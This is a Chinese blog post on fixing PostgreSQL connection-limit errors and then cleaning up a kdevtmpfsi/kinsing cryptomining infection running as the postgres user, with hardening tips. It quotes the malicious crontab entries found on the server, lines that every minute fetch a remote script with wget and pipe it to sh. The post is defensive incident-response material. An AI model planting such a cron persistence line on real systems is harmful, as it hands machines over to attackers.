背景:
-
pgsql連接時候報錯
org.postgresql.util.PSQLException: FATAL: sorry, too many clients already
, 意思是client已經把連接池占滿了. -
使用
ps -ef | grep postgres
洗掉幾個行程, 進入資料庫運行SELECT * FROM pg_stat_activity
, 發現大部分都是idle
空閑狀態的連接 -
然后修改
/var/lib/pgsql/14/data/postgres.conf
中的idle_session_timeout
為2000(2s), 但是資料庫中有警告(如下), 同時navicat中稍等2s后也會報這樣例外, 但是再次運行就可以. 因為navicat/dbeaver也是通過連接池方式與資料庫進行的連接2023-02-20 14:15:37.926 2023-02-20 14:15:37,926 [http-nio-80-exec-1459] WARN com.zaxxer.hikari.pool.PoolBase 173 - HikariPool-98 - Failed to validate connection org.postgresql.jdbc.PgConnection@5e029bbb (This connection has been closed.)
-
后來只好將
idle_session_timeout
恢復, 然后嘗試擴大執行緒池大小 -
但是執行緒池大小跟服務器配置有關, 默認的大小是100, 在
postgres.conf
中修改max_connections
為200, 重啟資料庫雖然可以正常使用, 但是在tomcat重啟時(war包會依次重新部署), 服務器因為資料庫連接池太大, 導致tomcat啟動失敗(可能是堆疊溢位了). -
再次嘗試調整到150, 雖然可以正常使用, 但是postgres會占用cpu太高, 300%左右, 只好調整回100.
-
在pgsql高版本中對此也有一部分配置, 比如每隔幾分鐘會發現無效連接并進行關閉, 可以減輕部分連接池壓力(詳情見參考1)
一、idle_session_timeout引數 用來控制空閑會話連接超時的時間,區別于tcp_keepalives相關引數, 當一個會話連接長時間沒有執行SQL或者活動時,會將該會話釋放,可以釋放快取避免出現例如OOM等問題 idle_session_timeout:默認值為0,表示禁用,其單位是毫秒; 14版本引入了idle_session_timeout引數,可以在設定該引數,超過設定的時間,資料庫會關閉空閑連接,之前的老版本可以使用pg_timeout插件,達到同樣的效果,但是同樣也會關閉掉我們想保留的正常的空閑連接,所以設定TCP keepalive是更好的解決方案, 二、postgresql的tcp_keepalives相關引數設定可以及時發現無效連接, 如下這樣可以在5分鐘以內就探測出無效連接 tcp_keepalives_idle = 60 # TCP_KEEPIDLE, in seconds; tcp_keepalives_interval = 20 # TCP_KEEPINTVL, in seconds; tcp_keepalives_count = 10 # TCP_KEEPCNT; 三、PG14版本還引入了client_connection_check_interval引數, 每隔一段時間檢測client是否離線(斷開),如果已經離線,則快速結束掉正在運行的query,,浪費資料庫資源,默認是0,單位默認毫秒 官方檔案解釋: client_connection_check_interval = 0 # time between checks for client # disconnection while running queries; 0 for never
-
就在調整回100后過了半個小時, 進服務器使用
top
復查時, 發現了一個還有一個執行緒占用了388.0%
, 名稱為kdevtmpfsi
, 經過百度發現這是個在20年處爆發的挖礦僵尸網路蠕蟲病毒
, 但是網上都是說是通過redis未授權或弱口令作為入口進行侵入的, 但是這次遇到的情況卻不是因為redis引起的. -
第一步肯定是先把行程停了: 使用
kill -9 pid
停止行程, 發現有個依賴行程kinsing
, 那就先使用ps -ef | grep kinsing
找到對應的pid停止即可. -
如果到這一步停止的話, 過不了多久他會自動重新啟動的.
-
繼續挖, 全盤查找這兩個檔案
find / kinsing
發現只有/tmp
中有, 我第一次時候直接rm -f /tmp/kinsing
洗掉了這兩個檔案, 然后就束手無策了, 但是在一小時左右時候kinsing
又重新生成了. -
通過
ll
發現kinsing
的擁有者是postgres
, 這時才確定了是pgsql引起的, 而不是redis引起的 -
接下來就好說了, 首先洗掉
kinsing
檔案 -
使用
crontab
指令(下方是使用說明)找出postgres
創建的定時任務, 洗掉掉即可.
Usage:
crontab [options] file
crontab [options]
crontab -n [hostname]
Options:
-u <user> define user
-e edit user's crontab
-l list user's crontab
-r delete user's crontab
-i prompt before deleting
-n <host> set host in cluster to run users' crontabs
-c get host in cluster to run users' crontabs
-s selinux context
-V print version and exit
-x <mask> enable debugging
-u 定義用戶(誰建立的)
-e 修改用戶創建的定時任務
-l 列舉出用戶創建的定時任務
-r 洗掉用戶創建的定時任務
crontab -u postgres -e
使用默認編輯器打開postgres
創建的定時任務, 對應的定時任務檔案在/var/spool/cron/
目錄下.
顯示:
* * * * * wget -q -O - http://[ip]/pg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://[other ip]/pg.sh | sh > /dev/null 2>&1
洗掉的話直接使用vim指令dd
全部洗掉, :wq
保存退出即可.
哪些有風險呢? 通過尋找解決之法時候發現包括但不限于以下幾種
-
redis
-
pgsql
-
php
如何避免呢?
-
服務器上只開放使用到的服務器
-
盡量不使用默認埠(如: 3306, 5432, 8848)
-
不用使用默認密碼, 一定修改密碼, 且復雜度高一些
-
安裝包使用官方版本
參考1: postgresql空閑連接以及連接有效性檢查的引數小結
參考2: Postgres資料庫修改最大連接數
參考3: 記一次服務器 linux(centos7)被 postgres 病毒攻擊, 挖礦的事故
參考4: 阿里云服務器中挖礦病毒了,名稱為 kinsing
參考5: kdevtmpfsi using 100% of CPU?
參考6: 關于linux病毒kinsing kdevtmpfsi 的處理
參考7: Linux服務器kdevtmpfsi挖礦病毒解決方法:治標+治本
參考8: kdevtmpfsi 處理(挖礦病毒清除)
參考9: 威脅快報|Redis RCE導致h2Miner蠕蟲新一輪爆發,建議用戶及時排查以防事態升級
參考10: linux - kdevtmpfsi using the entire CPU
轉載請註明出處,本文鏈接:https://www.uj5u.com/shujuku/544654.html
標籤:PostgreSQL
上一篇:ORACLE資料庫相關操作